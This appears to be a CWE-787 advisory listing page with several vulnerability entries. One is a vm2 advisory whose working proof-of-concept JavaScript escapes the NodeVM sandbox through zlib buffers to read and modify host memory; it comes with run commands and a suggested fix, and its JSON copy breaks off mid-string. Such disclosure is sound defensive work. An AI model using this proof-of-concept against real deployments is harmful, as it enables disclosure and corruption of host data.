Common Weakness Enumeration

CWE-787

Allowed-with-Review

Out-of-bounds Write

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product writes data past the end, or before the beginning, of the intended buffer.

16210 vulnerabilities reference this CWE, most recent first.

GHSA-484J-956R-R6HG

Vulnerability from github – Published: 2022-05-17 00:35 – Updated: 2025-04-20 03:45
VLAI
Details

A heap-based buffer overflow was discovered in AP4_VisualSampleEntry::ReadFields in Core/Ap4SampleEntry.cpp in Bento4 1.5.0-617. The vulnerability causes an out-of-bounds write, which leads to remote denial of service or possibly code execution.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-14647"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-21T17:29:00Z",
    "severity": "HIGH"
  },
  "details": "A heap-based buffer overflow was discovered in AP4_VisualSampleEntry::ReadFields in Core/Ap4SampleEntry.cpp in Bento4 1.5.0-617. The vulnerability causes an out-of-bounds write, which leads to remote denial of service or possibly code execution.",
  "id": "GHSA-484j-956r-r6hg",
  "modified": "2025-04-20T03:45:41Z",
  "published": "2022-05-17T00:35:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14647"
    },
    {
      "type": "WEB",
      "url": "https://blogs.gentoo.org/ago/2017/09/14/bento4-stack-based-buffer-overflow-in-ap4_visualsampleentryreadfields-ap4sampleentry-cpp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4853-2382-FRFW

Vulnerability from github – Published: 2026-03-30 12:32 – Updated: 2026-03-30 12:32
VLAI
Details

Free IP Switcher 3.1 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Computer Name field. Attackers can paste a malicious payload into the Computer Name input field and click Activate to trigger a denial of service condition that crashes the application.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
6.8 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-25230"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-30T12:16:16Z",
    "severity": "MODERATE"
  },
  "details": "Free IP Switcher 3.1 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Computer Name field. Attackers can paste a malicious payload into the Computer Name input field and click Activate to trigger a denial of service condition that crashes the application.",
  "id": "GHSA-4853-2382-frfw",
  "modified": "2026-03-30T12:32:27Z",
  "published": "2026-03-30T12:32:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25230"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/46382"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/free-ip-switcher-denial-of-service-via-computer-name"
    },
    {
      "type": "WEB",
      "url": "http://www.eusing.com/index.html"
    },
    {
      "type": "WEB",
      "url": "http://www.eusing.com/ipscan/free_ip_scanner.htm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-486M-F7FJ-5XRM

Vulnerability from github – Published: 2024-07-30 00:34 – Updated: 2026-04-02 21:31
VLAI
Details

An out-of-bounds access issue was addressed with improved bounds checking. This issue is fixed in iOS 17.6 and iPadOS 17.6, watchOS 10.6, tvOS 17.6, visionOS 1.3, macOS Sonoma 14.6. Processing a maliciously crafted file may lead to unexpected app termination.

Severity
3.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-40777"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-29T23:15:11Z",
    "severity": "LOW"
  },
  "details": "An out-of-bounds access issue was addressed with improved bounds checking. This issue is fixed in iOS 17.6 and iPadOS 17.6, watchOS 10.6, tvOS 17.6, visionOS 1.3, macOS Sonoma 14.6. Processing a maliciously crafted file may lead to unexpected app termination.",
  "id": "GHSA-486m-f7fj-5xrm",
  "modified": "2026-04-02T21:31:47Z",
  "published": "2024-07-30T00:34:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40777"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/120909"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/120911"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/120914"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/120915"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/120916"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214117"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214119"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214122"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214123"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214124"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT214117"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT214119"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT214122"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT214123"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT214124"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jul/16"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jul/18"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jul/21"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jul/22"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jul/23"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4873-36H9-WV49

Vulnerability from github – Published: 2021-09-20 19:54 – Updated: 2024-11-19 18:04
VLAI
Summary
Out-of-bounds read/write and invalid free with `externref`s and GC safepoints in Wasmtime
Details

Impact

There was an invalid free and out-of-bounds read and write bug when running Wasm that uses externrefs in Wasmtime.

To trigger this bug, Wasmtime needs to be running Wasm that uses externrefs, the host creates non-null externrefs, Wasmtime performs a garbage collection (GC), and there has to be a Wasm frame on the stack that is at a GC safepoint where

  • there are no live references at this safepoint, and
  • there is a safepoint with live references earlier in this frame's function.

Under this scenario, Wasmtime would incorrectly use the GC stack map for the safepoint from earlier in the function instead of the empty safepoint. This would result in Wasmtime treating arbitrary stack slots as externrefs that needed to be rooted for GC. At the next GC, it would be determined that nothing was referencing these bogus externrefs (because nothing could ever reference them, because they are not really externrefs) and then Wasmtime would deallocate them and run <ExternRef as Drop>::drop on them. This results in a free of memory that is not necessarily on the heap (and shouldn't be freed at this moment even if it was), as well as potential out-of-bounds reads and writes.

Even though support for externrefs (via the reference types proposal) is enabled by default, unless you are creating non-null externrefs in your host code or explicitly triggering GCs, you cannot be affected by this bug.

We have reason to believe that the effective impact of this bug is relatively small because usage of externref is currently quite rare.

Patches

This bug has been patched and users should upgrade to Wasmtime version 0.30.0.

Additionally, we have updated our primary externref fuzz target such that it better exercises these code paths and we can have greater confidence in their correctness going forward.

Workarounds

If you cannot upgrade Wasmtime at this time, you can avoid this bug by disabling the reference types proposal by passing false to wasmtime::Config::wasm_reference_types

References

For more information

If you have any questions or comments about this advisory:

Severity
6.3 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H
5.8 (Medium)
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.26.0"
            },
            {
              "fixed": "0.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wasmtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.26.0"
            },
            {
              "fixed": "0.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-39218"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125",
      "CWE-590",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-09-17T20:05:58Z",
    "nvd_published_at": "2021-09-17T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThere was an invalid free and out-of-bounds read and write bug when running Wasm that uses `externref`s in Wasmtime.\n\nTo trigger this bug, Wasmtime needs to be running Wasm that uses `externref`s, the host creates non-null `externrefs`, Wasmtime performs a garbage collection (GC), and there has to be a Wasm frame on the stack that is at a GC safepoint where\n\n* there are no live references at this safepoint, and\n* there is a safepoint with live references earlier in this frame\u0027s function.\n\nUnder this scenario, Wasmtime would incorrectly use the GC stack map for the safepoint from earlier in the function instead of the empty safepoint. This would result in Wasmtime treating arbitrary stack slots as `externref`s that needed to be rooted for GC. At the *next* GC, it would be determined that nothing was referencing these bogus `externref`s (because nothing could ever reference them, because they are not really `externref`s) and then Wasmtime would deallocate them and run `\u003cExternRef as Drop\u003e::drop` on them. This results in a free of memory that is not necessarily on the heap (and shouldn\u0027t be freed at this moment even if it was), as well as potential out-of-bounds reads and writes.\n\nEven though support for `externref`s (via the reference types proposal) is enabled by default, unless you are creating non-null `externref`s in your host code or explicitly triggering GCs, you cannot be affected by this bug.\n\nWe have reason to believe that the effective impact of this bug is relatively small because usage of `externref` is currently quite rare.\n\n### Patches\n\nThis bug has been patched and users should upgrade to Wasmtime version 0.30.0.\n\nAdditionally, we have updated [our primary `externref` fuzz target](https://github.com/bytecodealliance/wasmtime/blob/37c094faf53f1b356aab3c79d451395e4f7edb34/fuzz/fuzz_targets/table_ops.rs) such that it better exercises these code paths and we can have greater confidence in their correctness going forward.\n\n### Workarounds\n\nIf you cannot upgrade Wasmtime at this time, you can avoid this bug by disabling the reference types proposal by passing `false` to [`wasmtime::Config::wasm_reference_types`](https://docs.rs/wasmtime/0.29.0/wasmtime/struct.Config.html#method.wasm_reference_types)\n\n### References\n\n* [The Wasm reference types proposal, which introduces `externref`](https://github.com/WebAssembly/reference-types/)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Reach out to us on [the Bytecode Alliance Zulip chat](https://bytecodealliance.zulipchat.com/#narrow/stream/217126-wasmtime)\n* Open an issue in [the `bytecodealliance/wasmtime` repository](https://github.com/bytecodealliance/wasmtime/)",
  "id": "GHSA-4873-36h9-wv49",
  "modified": "2024-11-19T18:04:00Z",
  "published": "2021-09-20T19:54:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-4873-36h9-wv49"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39218"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytecodealliance/wasmtime/commit/398a73f0dd862dbe703212ebae8e34036a18c11c"
    },
    {
      "type": "WEB",
      "url": "https://crates.io/crates/wasmtime"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bytecodealliance/wasmtime"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bytecodealliance/wasmtime-py/compare/0.29.0...0.30.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/wasmtime/PYSEC-2021-321.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WAVBRYDDUIY2ZR3K3FO4BVYJKIMJ5TP7"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/Z2Z33FTXFQ6EOINVEQIP4DFBG53G5XIY"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2021-0110.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Out-of-bounds read/write and invalid free with `externref`s and GC safepoints in Wasmtime "
}

GHSA-489Q-9JV9-92Q4

Vulnerability from github – Published: 2022-08-26 00:03 – Updated: 2022-08-27 00:00
VLAI
Details

Tenda AC1206 V15.03.06.23 was discovered to contain multiple stack overflows via the deviceMac and the device_id parameters in the function addWifiMacFilter.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-37814"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-25T15:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Tenda AC1206 V15.03.06.23 was discovered to contain multiple stack overflows via the deviceMac and the device_id parameters in the function addWifiMacFilter.",
  "id": "GHSA-489q-9jv9-92q4",
  "modified": "2022-08-27T00:00:52Z",
  "published": "2022-08-26T00:03:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37814"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Darry-lang1/vuln/tree/main/Tenda/AC1206/14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-489W-W794-JQ94

Vulnerability from github – Published: 2026-10-05 23:00 – Updated: 2026-10-05 23:00
VLAI
Summary
vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary
Details

Summary

When an application explicitly exposes Node's zlib module through vm2's NodeVM builtin allowlist, an untrusted guest can obtain a pool-backed host Buffer from zlib.deflateSync, create a full-width view of its backing ArrayBuffer, read bytes outside the compressed result, and flip a byte in an unrelated host buffer. The pinned vm2 revision reproduces disclosure and host-memory modification, while a sandbox-local Buffer control remains exact-size and non-mutating.

Technical Details

NodeVM accepts require: { builtin: ['zlib'] }. The builtin resolver reaches addDefaultBuiltin in lib/builtin.js, where the host module is exposed through the generic readonly wrapper. zlib.deflateSync returns a Node Buffer; for a small result, that buffer can use Node's shared pool, whose .buffer is the complete pool rather than only the logical result slice. The guest can therefore call Buffer.from(result.buffer, 0, result.buffer.byteLength) and inspect or modify pooled bytes outside result.

The relevant isolation invariant is that every Buffer crossing into the sandbox owns its complete backing store: byteOffset === 0 and buffer.byteLength === length. vm2's depoolBuffer implementation applies that rule to sandbox-facing Buffer factories, but the generic host-builtin return path does not apply it to the Buffer returned by zlib. The precondition is an embedder that deliberately allowlists zlib; applications that do not expose this builtin are not reached by this proof.

PoV

The guest operation below is the decisive operation. The expected marker is a numeric array in the guest, not a host Buffer; the host-side oracle snapshots complete retained buffers as plain arrays before and after the guest call.

const zlib = require('zlib');
const result = zlib.deflateSync(Buffer.from('hello'));
const view = Buffer.from(result.buffer, 0, result.buffer.byteLength);
const markerCodes = Object.freeze([86, 77, 50, 95, 90, 76, 73, 66, 95, 80, 79, 79, 76, 95, 83, 69, 67, 82, 69, 84, 95, 55, 98, 51, 49]);
let markerHits = 0;
let firstMarker = -1;
for (let offset = 0; offset <= view.length - markerCodes.length; offset += 1) {
  let equal = true;
  for (let index = 0; index < markerCodes.length; index += 1) {
    if (view[offset + index] !== markerCodes[index]) { equal = false; break; }
  }
  if (equal) { markerHits += 1; if (firstMarker < 0) firstMarker = offset; }
}
if (firstMarker >= 0) view[firstMarker] ^= 0xff;
module.exports = {
  route: {
    requireReturned: !!zlib && typeof zlib.deflateSync === 'function',
    deflateSyncReturnedBuffer: Buffer.isBuffer(result),
    returnedBufferShape: !!result && !!result.buffer,
  },
  resultLength: result.length,
  resultBackingLength: result.buffer.byteLength,
  viewLength: view.length,
  fullBackingStoreView: view.byteOffset === 0
    && view.length === result.buffer.byteLength
    && view.buffer.byteLength === result.buffer.byteLength,
  markerHits,
  firstMarker,
};

PoC

Install the tested package version with Node.js, save the complete reproduction below as zlib-buffer-isolation-test.js, and run both modes. The attack and control commands print the JSON shown after the code.

npm install vm2@3.11.8
node zlib-buffer-isolation-test.js attack hello
node zlib-buffer-isolation-test.js control

'use strict';

const { NodeVM } = require('vm2');

const marker = 'VM2_ZLIB_POOL_SECRET_7b31';
const markerCodes = Object.freeze(Array.from(marker, (character) => character.charCodeAt(0)));
const retained = [];

for (let index = 0; index < 192; index += 1) {
  const buffer = Buffer.allocUnsafe(64);
  buffer.fill(0x41);
  const markerOffset = index % (buffer.length - markerCodes.length + 1);
  markerCodes.forEach((byte, byteIndex) => {
    buffer[markerOffset + byteIndex] = byte;
  });
  retained.push({ buffer, markerOffset });
}

const snapshot = () => retained.map(({ buffer }) => Array.from(buffer));
const changed = (before, after) => before.some((bytes, index) =>
  bytes.some((byte, byteIndex) => byte !== after[index][byteIndex]));
const mode = process.argv[2] || 'attack';
const input = process.argv[3] || 'hello';
const before = snapshot();
const vm = new NodeVM({ require: { builtin: ['zlib'] } });

if (mode === 'control') {
  const control = vm.run(`
    const zlib = require('zlib');
    const result = zlib.deflateSync(Buffer.from('hello'));
    const local = Buffer.allocUnsafe(1);
    const view = Buffer.from(local.buffer, 0, local.buffer.byteLength);
    module.exports = {
      route: !!zlib && typeof zlib.deflateSync === 'function'
        && Buffer.isBuffer(result),
      exactSize: local.byteOffset === 0
        && local.buffer.byteLength === local.length
        && view.byteOffset === 0
        && view.length === local.length
        && view.buffer.byteLength === local.length,
    };
  `, 'zlib-buffer-case-a.js');
  const passed = control.route && control.exactSize && !changed(before, snapshot());
  console.log(JSON.stringify({ mode, result: passed ? 'pass' : 'violation' }));
} else {
  const attack = vm.run(`
    const zlib = require('zlib');
    const result = zlib.deflateSync(${JSON.stringify(input)});
    const view = Buffer.from(result.buffer, 0, result.buffer.byteLength);
    const markerCodes = ${JSON.stringify(Array.from(markerCodes))};
    let firstMarker = -1;
    for (let offset = 0; offset <= view.length - markerCodes.length; offset += 1) {
      if (markerCodes.every((byte, byteIndex) => view[offset + byteIndex] === byte)) {
        firstMarker = offset;
        break;
      }
    }
    if (firstMarker >= 0) view[firstMarker] ^= 0xff;
    module.exports = {
      route: !!zlib && typeof zlib.deflateSync === 'function'
        && Buffer.isBuffer(result),
      fullView: view.byteOffset === 0
        && view.length === result.buffer.byteLength
        && view.buffer.byteLength === result.buffer.byteLength,
      poolIsWider: result.buffer.byteLength > result.length,
      markerFound: firstMarker >= 0,
    };
  `, 'zlib-buffer-case-b.js');
  const passed = attack.route && attack.fullView && attack.poolIsWider
    && attack.markerFound && changed(before, snapshot());
  console.log(JSON.stringify({ mode, result: passed ? 'violation' : 'pass' }));
}

{"mode":"attack","result":"violation"}
{"mode":"control","result":"pass"}

The attack output requires the full backing-store view, a backing store larger than the logical compressed result, a readable marker, and an independently observed change to a retained host buffer. The control requires exact-size sandbox ownership and no retained-buffer change. The demonstration is limited to disclosure and host-memory modification; it does not demonstrate host code execution.

The reproduction is tested against vm2 revision 91034466bfb7f56b95fd48083ec6ca36d058f164; package metadata at that revision identifies vm2 3.11.8.

Impact

An affected host application can expose sensitive bytes held in neighboring pooled buffers to untrusted guest code and can have those host buffers corrupted. This crosses the vm2 isolation boundary and compromises confidentiality and integrity for applications that allowlist zlib. The demonstrated host-memory disclosure maps to CWE-200, the demonstrated write to unrelated host memory maps to CWE-787, and together those confidentiality and integrity effects support a high severity rating. The issue does not reach applications that do not expose the builtin, and this report makes no claim about versions beyond the tested revision; the proof does not demonstrate host code execution.

Suggested Fix

Before any host-builtin return value is exposed to the guest, apply depoolBuffer or an equivalent owned-copy wrapper to every returned Buffer. The delivered buffer should satisfy byteOffset === 0 and buffer.byteLength === length; intentionally supported ArrayBuffer sharing overloads should remain separately identified so they are not confused with host-created pooled buffers.

Add a regression test that allowlists zlib, calls deflateSync, asserts exact backing-store ownership, and verifies that a full-width view cannot read or change markers in unrelated host buffers. Retain the sandbox-local exact-size control so the regression test also detects a failure in its own oracle.

Affected Package/Versions

  • Package: vm2 from npm.
  • Tested affected source revision: 91034466bfb7f56b95fd48083ec6ca36d058f164.
  • Package metadata at that revision: 3.11.8.
  • Version scope: the report is limited to the exact tested source revision above; no broader release line or range is established here.
  • Affected range: only the exact tested revision is asserted; no broader release range is established here.

Advisory History

The public GHSA-fcqc-726x-5wfc advisory documents shared small-buffer-pool exposure through sandbox-facing Buffer factories. The checked public fix is commit 4f2508abeb252aa86eb6761c78b3b000248fb089, titled fix(GHSA-fcqc-726x-5wfc): isolate sandbox buffers from Node's shared pool; its change applies the backing-store ownership rule to those factories, not to the zlib host-builtin return path demonstrated here.

The exact GHSA-fcqc-726x-5wfc commit search also returned 5214b02ef13b82497fcb917b45320dfd014ffd09, whose release message is only an automated advisory inventory and is not an independent report of this issue. The current repository search for zlib Buffer pool issues returned no independent match, and the corresponding zlib Buffer pool pull-request search also returned no independent match.

Prior submitted, ready-for-review, and completed-but-unsubmitted reports were checked; none covers this zlib host-builtin backing-store path. Its distinct fix surface is the zlib host-builtin return path and the missing backing-store ownership step, separate from sandbox-facing Buffer factories.

This finding is therefore distinct in fix surface: zlib is the producer, the generic host-builtin return path is the sink, and backing-store ownership is the missing correction. That surface is separate from Buffer-factory hardening, custom resolution, Promise/Reflect.apply handling, and process-global FIPS state.

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-100723"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T23:00:46Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nWhen an application explicitly exposes Node\u0027s `zlib` module through vm2\u0027s `NodeVM` builtin allowlist, an untrusted guest can obtain a pool-backed host `Buffer` from `zlib.deflateSync`, create a full-width view of its backing `ArrayBuffer`, read bytes outside the compressed result, and flip a byte in an unrelated host buffer. The pinned vm2 revision reproduces disclosure and host-memory modification, while a sandbox-local `Buffer` control remains exact-size and non-mutating.\n\n## Technical Details\n\n`NodeVM` accepts `require: { builtin: [\u0027zlib\u0027] }`. The builtin resolver reaches `addDefaultBuiltin` in `lib/builtin.js`, where the host module is exposed through the generic readonly wrapper. `zlib.deflateSync` returns a Node `Buffer`; for a small result, that buffer can use Node\u0027s shared pool, whose `.buffer` is the complete pool rather than only the logical result slice. The guest can therefore call `Buffer.from(result.buffer, 0, result.buffer.byteLength)` and inspect or modify pooled bytes outside `result`.\n\nThe relevant isolation invariant is that every `Buffer` crossing into the sandbox owns its complete backing store: `byteOffset === 0` and `buffer.byteLength === length`. vm2\u0027s `depoolBuffer` implementation applies that rule to sandbox-facing `Buffer` factories, but the generic host-builtin return path does not apply it to the `Buffer` returned by `zlib`. The precondition is an embedder that deliberately allowlists `zlib`; applications that do not expose this builtin are not reached by this proof.\n\n## PoV\n\nThe guest operation below is the decisive operation. The expected marker is a numeric array in the guest, not a host `Buffer`; the host-side oracle snapshots complete retained buffers as plain arrays before and after the guest call.\n\n```js\nconst zlib = require(\u0027zlib\u0027);\nconst result = zlib.deflateSync(Buffer.from(\u0027hello\u0027));\nconst view = Buffer.from(result.buffer, 0, result.buffer.byteLength);\nconst markerCodes = Object.freeze([86, 77, 50, 95, 90, 76, 73, 66, 95, 80, 79, 79, 76, 95, 83, 69, 67, 82, 69, 84, 95, 55, 98, 51, 49]);\nlet markerHits = 0;\nlet firstMarker = -1;\nfor (let offset = 0; offset \u003c= view.length - markerCodes.length; offset += 1) {\n  let equal = true;\n  for (let index = 0; index \u003c markerCodes.length; index += 1) {\n    if (view[offset + index] !== markerCodes[index]) { equal = false; break; }\n  }\n  if (equal) { markerHits += 1; if (firstMarker \u003c 0) firstMarker = offset; }\n}\nif (firstMarker \u003e= 0) view[firstMarker] ^= 0xff;\nmodule.exports = {\n  route: {\n    requireReturned: !!zlib \u0026\u0026 typeof zlib.deflateSync === \u0027function\u0027,\n    deflateSyncReturnedBuffer: Buffer.isBuffer(result),\n    returnedBufferShape: !!result \u0026\u0026 !!result.buffer,\n  },\n  resultLength: result.length,\n  resultBackingLength: result.buffer.byteLength,\n  viewLength: view.length,\n  fullBackingStoreView: view.byteOffset === 0\n    \u0026\u0026 view.length === result.buffer.byteLength\n    \u0026\u0026 view.buffer.byteLength === result.buffer.byteLength,\n  markerHits,\n  firstMarker,\n};\n```\n\n## PoC\n\nInstall the tested package version with Node.js, save the complete reproduction below as `zlib-buffer-isolation-test.js`, and run both modes. The attack and control commands print the JSON shown after the code.\n\n```sh\nnpm install vm2@3.11.8\nnode zlib-buffer-isolation-test.js attack hello\nnode zlib-buffer-isolation-test.js control\n```\n\n```js\n\u0027use strict\u0027;\n\nconst { NodeVM } = require(\u0027vm2\u0027);\n\nconst marker = \u0027VM2_ZLIB_POOL_SECRET_7b31\u0027;\nconst markerCodes = Object.freeze(Array.from(marker, (character) =\u003e character.charCodeAt(0)));\nconst retained = [];\n\nfor (let index = 0; index \u003c 192; index += 1) {\n  const buffer = Buffer.allocUnsafe(64);\n  buffer.fill(0x41);\n  const markerOffset = index % (buffer.length - markerCodes.length + 1);\n  markerCodes.forEach((byte, byteIndex) =\u003e {\n    buffer[markerOffset + byteIndex] = byte;\n  });\n  retained.push({ buffer, markerOffset });\n}\n\nconst snapshot = () =\u003e retained.map(({ buffer }) =\u003e Array.from(buffer));\nconst changed = (before, after) =\u003e before.some((bytes, index) =\u003e\n  bytes.some((byte, byteIndex) =\u003e byte !== after[index][byteIndex]));\nconst mode = process.argv[2] || \u0027attack\u0027;\nconst input = process.argv[3] || \u0027hello\u0027;\nconst before = snapshot();\nconst vm = new NodeVM({ require: { builtin: [\u0027zlib\u0027] } });\n\nif (mode === \u0027control\u0027) {\n  const control = vm.run(`\n    const zlib = require(\u0027zlib\u0027);\n    const result = zlib.deflateSync(Buffer.from(\u0027hello\u0027));\n    const local = Buffer.allocUnsafe(1);\n    const view = Buffer.from(local.buffer, 0, local.buffer.byteLength);\n    module.exports = {\n      route: !!zlib \u0026\u0026 typeof zlib.deflateSync === \u0027function\u0027\n        \u0026\u0026 Buffer.isBuffer(result),\n      exactSize: local.byteOffset === 0\n        \u0026\u0026 local.buffer.byteLength === local.length\n        \u0026\u0026 view.byteOffset === 0\n        \u0026\u0026 view.length === local.length\n        \u0026\u0026 view.buffer.byteLength === local.length,\n    };\n  `, \u0027zlib-buffer-case-a.js\u0027);\n  const passed = control.route \u0026\u0026 control.exactSize \u0026\u0026 !changed(before, snapshot());\n  console.log(JSON.stringify({ mode, result: passed ? \u0027pass\u0027 : \u0027violation\u0027 }));\n} else {\n  const attack = vm.run(`\n    const zlib = require(\u0027zlib\u0027);\n    const result = zlib.deflateSync(${JSON.stringify(input)});\n    const view = Buffer.from(result.buffer, 0, result.buffer.byteLength);\n    const markerCodes = ${JSON.stringify(Array.from(markerCodes))};\n    let firstMarker = -1;\n    for (let offset = 0; offset \u003c= view.length - markerCodes.length; offset += 1) {\n      if (markerCodes.every((byte, byteIndex) =\u003e view[offset + byteIndex] === byte)) {\n        firstMarker = offset;\n        break;\n      }\n    }\n    if (firstMarker \u003e= 0) view[firstMarker] ^= 0xff;\n    module.exports = {\n      route: !!zlib \u0026\u0026 typeof zlib.deflateSync === \u0027function\u0027\n        